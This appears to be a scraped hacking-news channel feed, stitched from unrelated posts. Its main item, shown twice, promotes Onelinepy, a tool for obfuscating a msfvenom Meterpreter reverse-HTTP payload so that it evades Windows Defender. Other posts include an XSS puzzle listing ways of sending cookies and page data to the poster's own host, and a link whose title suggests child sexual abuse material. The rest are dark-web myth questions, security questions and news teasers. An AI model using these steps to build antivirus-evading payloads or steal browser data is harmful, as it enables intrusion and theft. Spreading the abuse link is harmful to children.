KitPloit - PenTest Tools!
Onelinepy - Python Obfuscator To Generate One-Liners And FUD Payloads

http://1.bp.blogspot.com/-jw8jWQoV5V0/YLbiRly2YYI/AAAAAAAAWu8/kkvvuvmhjGAJDs8U278c-vnSC2z93LVdQCK4BGAYYCw/s16000/onelinepy_1_oneline-710961.png
Python Obfuscator To Generate One-Liners And FUD Payloads.
Download & Run

git clone https://github.com/spicesouls/onelinepy
cd onelinepy
chmod +x setup.sh
./setup.sh
onelinepy

Usage Guide
_ _
___ ___ ___| |_|___ ___ ___ _ _
| . | | -_| | | | -_| . | | | Python
|___|_|_|___|_|_|_|_|___| _|_ | Obfustucator
|_| |___|

usage: oneline.py [-h] [-m M] [-i I] [--script SCRIPT] [--code CODE] [--list] [--output OUTPUT]

optional arguments:
-h, --help show this help message and exit
-m M Obfustucating Method (i.e, -m /one_line/base64)
-i I Iterations For Obfustucation.
--script SCRIPT File path of Python file to Obfustucate.
--code CODE Python code to Obfustucate.
--list List Obfustucating Methods.
--output OUTPUT Output File.

Example: Creating FUD Meterpreter Python Payload

1. Generate Python Payload:

msfvenom --payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt

1. Obfustucate Payload

onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfustucated_payload.txt

1. Profit! The Obfustucated Payload works against Windows Defender.

More Examples

onelinepy -m /one_line/base64 --script payload.py -i 3

onelinepy -m /one_line/hex --code "print('HEX!')"

Obfustucation Method List
_ _
___ ___ ___| |_|___ ___ ___ _ _
| . | | -_| | | | -_| . | | | Python
|___|_|_|___|_|_|_|_|___| _|_ | Obfustucator
|_| |___|
Obfustucators ( * = May cause Syntax Errors )
-=============-
0 /one_line/hex
1 /one_line/base64
2 /one_line/base32
3 /one_line/gunzip*
4 /one_line/rot13*
5 /cmd/command
6 /cmd/powershell
7 /cmd/powershellhidden
Download Onelinepy

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Are “living dolls” real on the dark web? Or is this another myth?

I’m a horror movie fan and I frequent horror blogs. Today one i follow uploaded an article on “living dolls” — sad human experiments supposedly come off of the dark web. He even attached some pictures - I’ll link below, to the blog - a little nsfw.

I’m in no way an expert so I thought I’d ask - are these stories/images real? Or are they more urban myths? I’m pretty freaked out, even for a horror fan, haha.

Link : https://forum.horrorstab.com/forums/argomento/il-post-di-lolita-slave-toy/

submitted by /u/thr0waway131218
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
red room

I’m sure everybody been hearing about this is the red room real or it’s just some myth people made ?

submitted by /u/Carefull_eater
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Onelinepy - Python Obfuscator To Generate One-Liners And FUD Payloads

Python Obfuscator To Generate One-Liners And FUD Payloads.Download & Run git clone https://github.com/spicesouls/onelinepycd onelinepychmod +x setup.sh./setup.shonelinepy Usage Guide _ _ _ _ _| |_|_ _ _ _ _ | . | | -_| | | | -_| . | | | Python |_|_|_|_|_|_|_|_|_| _|_ | Obfustucator |_| |_|usage: oneline.py -h -m M -i I --script SCRIPT --code CODE --list --output OUTPUToptional arguments: -h, --help show this help message and exit -m M Obfustucating Method (i.e, -m /oneline/base64) -i I Iterations For Obfustucation. --script SCRIPT File path of Python file to Obfustucate. --code CODE Python code to Obfustucate. --list List Obfustucating Methods. --output OUTPUT Output File. Example: Creating FUD Meterpreter Python Payload Generate Python Payload: msfvenom --payload python/meterpreter\reverse_http LHOST=... LPORT=... > payload.txt Obfustucate Payload onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfustucated_payload.txt Profit! The Obfustucated Payload works against Windows Defender. More Examples onelinepy -m /one_line/base64 --script payload.py -i 3 onelinepy -m /one_line/hex --code "print('HEX!')" Obfustucation Method List _ _ _ _ _| |_|_ _ _ _ _ | . | | -_| | | | -_| . | | | Python |_|_|_|_|_|_|_|_|_| _|_ | Obfustucator |_| |_| Obfustucators ( * = May cause Syntax Errors ) -=============- 0 /one_line/hex 1 /one_line/base64 2 /one_line/base32 3 /one_line/gunzip* 4 /one_line/rot13* 5 /cmd/command 6 /cmd/powershell 7 /cmd/powershellhidden Download Onelinepy
Read more...

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hackaday's Satellite Communications Hack Chat

This topic seems timely. I couldn't attend, sadly. However, the transcript is available here and I plan to read it. Hopefully it's as interesting as it sounds.

submitted by /u/redrosesburningblack
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Confinscated laptop was returned. Is it safe to open, unlock & use without restoring?

I'm not going to go into great detail about the situation but my laptop which has Ubuntu Linux installed on it with an encrypted hard-drive was confiscated by police a couple moths ago because I was a suspect in an investigation. I was cleared and my laptop returned but I'm reluctant to trust the police on anything regarding my right to privacy at this point. I'm 100% certain they weren't able to get into it and thats why it has been returned but not my phone yet. I'm not worried of them finding anything related to what they are investigating but I want to keep my privacy. Basically I'm wondering, if I power on the laptop, unlock it and start using it again, is it possible they've bugged it or something similar? Like could they have done something to it without unencrypting the hard-drive? Or am I better off just reinstalling Linux from scratch and taking the loss on my files?

submitted by /u/P1nealPower
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
zip2john

what is the meaning of 'proceeding with incremental:ascii'?

submitted by /u/One-Ad-9971
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Phishing Emails Remain in User Inboxes Over 3 Days Before They're Removed

Most malicious emails get blocked, but the ones that get through linger around dangerously long, a new study shows.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Meat Hack

https://cdn-images-1.medium.com/max/1500/1*kXaBbDU32kdQMViUrjbKtg.jpeg
Less than a month after the Colonial Pipeline was hit with one of the most disruptive ransomware attacks in history, JBS — the world’s…

Continue reading on Digital Diplomacy »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe Write-up: VulnNet Internal

https://cdn-images-1.medium.com/max/600/1*y2DD9NfWQyN159At6safrQ.png
Hoy vamos a intentar vulnerar esta nueva máquina de TryHackMe llamada VulnNet Internal del autor TheCyb3rW0lf.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Official Future MERCH of ZEUS!

https://cdn-images-1.medium.com/max/816/1*eVXg6oyeV-35AusYYQRLNA.jpeg
[ ZEUS T-Shirts / Hoodies / Tank Tops ]

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
is quo search engine down the link isnt working if anyone has it please put it in the comments

submitted by /u/KillaX9
[link] [comments]

hacking: security in practice
How did LE catch U-Admin mastermind from seizing the DarkMarket and its servers?

https://external-preview.redd.it/LDInvIHoxgDNoxkrzZdZJVtNzV3r2TiUtfg2Jdl1yAw.jpg?width=320&crop=smart&auto=webp&s=e0c31b9f78a6904306af60b00f045f6b2e700cf5 submitted by /u/DrDankHaze
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
XSS Assistance

I'm working on a problem/puzzle where there's an XSS vulnerability and I can send a "user" an XSS payload which they will click on (it automatically visits the link as soon as it's sent), and the goal is to obtain a login password on the page that the XSS vulnerability is on. However I'm having a lot of issues figuring out how to do this, so I'm hoping someone may be able to point me in the right direction for other XSS avenues I have not checked.

So far, this is what I've done:

* Sending document.cookie back to myself (e.g. http://my-site/?c=+document.cookie )
* No cookies are appended to the image, however if I manually visit the site with cookies in my browser I can confirm that it will send back cookies.

* Sending localStorage back to myself
* Nothing comes back, but I have been able to confirm that if there were localStorage, it would be sent back

* Sending the page contents back to myself via the same method as the above two, inside a "setTimeout()" to let the page load
* The page is sent back to me, but it only contains the general page where it expects a password, not the actual contents

* Read the value from the password input and send it back to me, inside a "setTimeout()", hoping that maybe the password is auto-populated
* Request comes back to me but with no password

* Update the to point back to me, so when the user submits the form (and the password) I obtain it
* Never receive a callback, so the user never actually submits the form

* Update the and submit it myself, to send back any populated passwords
* Successfully receive a callback, but password is empty

* Update the to have a secondary payload, then submit the form, secondary payload should pass cookies back to me
* Once the is submitted, the password was not populated, so it just received an incorrect password error.

* Using beef-xss to hook into the page and send details back to me
* The automated script never seems to get picked up by beef-xss, so I wasn't able to get any info from this.
The above is what I've tried so far without success, are there any other avenues or things that I could look into?

submitted by /u/Driagan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Bypassing LFI (Local File Inclusion)

LFI (Local File Inclusion) allows an attacker to expose a file on the target server. With the help of directory traversal(../) we can…Continue reading on Medium »
Read more...